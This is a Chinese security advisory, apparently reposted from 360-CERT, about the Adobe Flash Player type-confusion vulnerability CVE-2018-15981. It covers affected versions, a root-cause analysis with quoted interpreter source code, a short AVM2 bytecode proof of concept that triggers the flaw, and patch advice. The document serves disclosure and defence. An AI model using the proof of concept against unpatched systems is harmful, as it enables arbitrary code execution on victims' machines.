漏洞预警 | Adobe Flash Player 任意代码执行漏洞(CVE-2018-15981)

admin 2022-06-24 18:45:49 AnQuanKeINFO 来源:ZONE.CI 全球网 0 阅读模式

 

 

0x00 事件背景

昨日深夜,Adobe发布适用于Windows,macOS,Linux和CMS.zone.ci/e/tags/htag.php?tag=Chrome target=_blank class=infotextkey>Chrome OS的Adobe Flash Player安全更新,修补了一枚类型混淆漏洞(CVE-2018-15981)。该漏洞影响Adobe Flash Player 31.0.0.148及以前版本,成功利用会导致任意代码执行。360-CERT对漏洞进行分析,认为该漏洞利用难度低且影响范围广,危害严重。

 

0x01 影响范围

产品 版本 平台
Adobe Flash Player Desktop Runtime 31.0.0.148 and earlier versions Windows, macOS and Linux
Adobe Flash Player for Google CMS.zone.ci/e/tags/htag.php?tag=Chrome target=_blank class=infotextkey>Chrome 31.0.0.148 and earlier versions Windows, macOS, Linux and CMS.zone.ci/e/tags/htag.php?tag=Chrome target=_blank class=infotextkey>Chrome OS
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 31.0.0.148 and earlier versions Windows 10 and 8.1

 

0x02 漏洞分析

漏洞出在Interpreter.cpp文件中:Flash 在异常处理时,重置了状态机的许多变量,并将解释器的PC设置为目标处理程序的地址。但这个过程被过度优化,没有重置with-scope变量。使得攻击者可以构造恶意flash 文件,在对象加载后抛出异常,此时修改对象的成员变量类型,造成类型混淆。

在 Interpreter.cpp 源代码中,定义了一个 withBase 变量,用作scopeBase数组的指针偏移量

register Atom* const scopeBase = framep + ms->local_count();
register Atom* volatile withBase = NULL;
NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0;
register ScopeChain* const scope = env->scope();

而该变量,在findproperty指令的处理程序处调用。

 INSTR(findproperty) {
            b1 = false;
            findproperty_impl:
                SAVE_EXPC;
                GET_MULTINAME_PTR(multiname, U30ARG);
                if (multiname->isRuntime())
                {
                    aux_memory->multiname2 = *multiname;
                    sp = initMultiname(env, aux_memory->multiname2, sp);
                    multiname = &aux_memory->multiname2;
                }
                *(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);
                NEXT;
            }

因此攻击者可以利用findproperty指令,对该漏洞进行利用。

利用的PoC如下:

getlocal0
pushscope

getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")

getlocal0
pushwith

L10:
pushbyte 1
throw
L12:
nop
L16:

getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")

pushscope

findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])

getslot 1

returnvoid

 

0x03 安全建议

该漏洞利用难度低且影响范围广,危害严重。因此360-CERT强烈建议用户对Adobe Flash Player进行更新。

目前相关补丁已经发布,用户可以使用软件内部的“更新”功能,或者访问 https://www.flash.cn/ 下载最新版本的应用。

 

0x04 时间线

2018-11-20 Adobe发布安全公告

2018-11-21 360-CERT 发布预警

 

0x05 参考链接

  1. Adobe安全公告
  2. 漏洞详情
weinxin
特别声明
本站(ZONE.CI)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
记一奇葩弱口令到内网实战 AnQuanKeINFO

记一奇葩弱口令到内网实战

一、前期打点拿到目标后首先要做的就是信息收集,这次给的目标就给个单位名称,通过互联网上搜索发现其网站在阿里云上着实无奈,在这里推荐个寻找资产的方法,利用ICP/IP地址/域名信息备
MITRE漏洞公告意外展示易受攻击资产 AnQuanKeINFO

MITRE漏洞公告意外展示易受攻击资产

第317期你好呀~欢迎来到“安全头条”!如果你是第一次光顾,可以先阅读站内公告了解我们哦。欢迎各位新老顾客前来拜访,在文章底部时常交流、疯狂讨论,都是小安欢迎哒~如果对本小站的内容
浅识k8s中的准入控制器 AnQuanKeINFO

浅识k8s中的准入控制器

背景在 k8s中各组件和kube apiserver通信时的认证和鉴权 中提到”NodeRestriction准入插件”,实际上它是一个”准入控制器”。“准入控制器”是一个重要的概
评论:0   参与:  0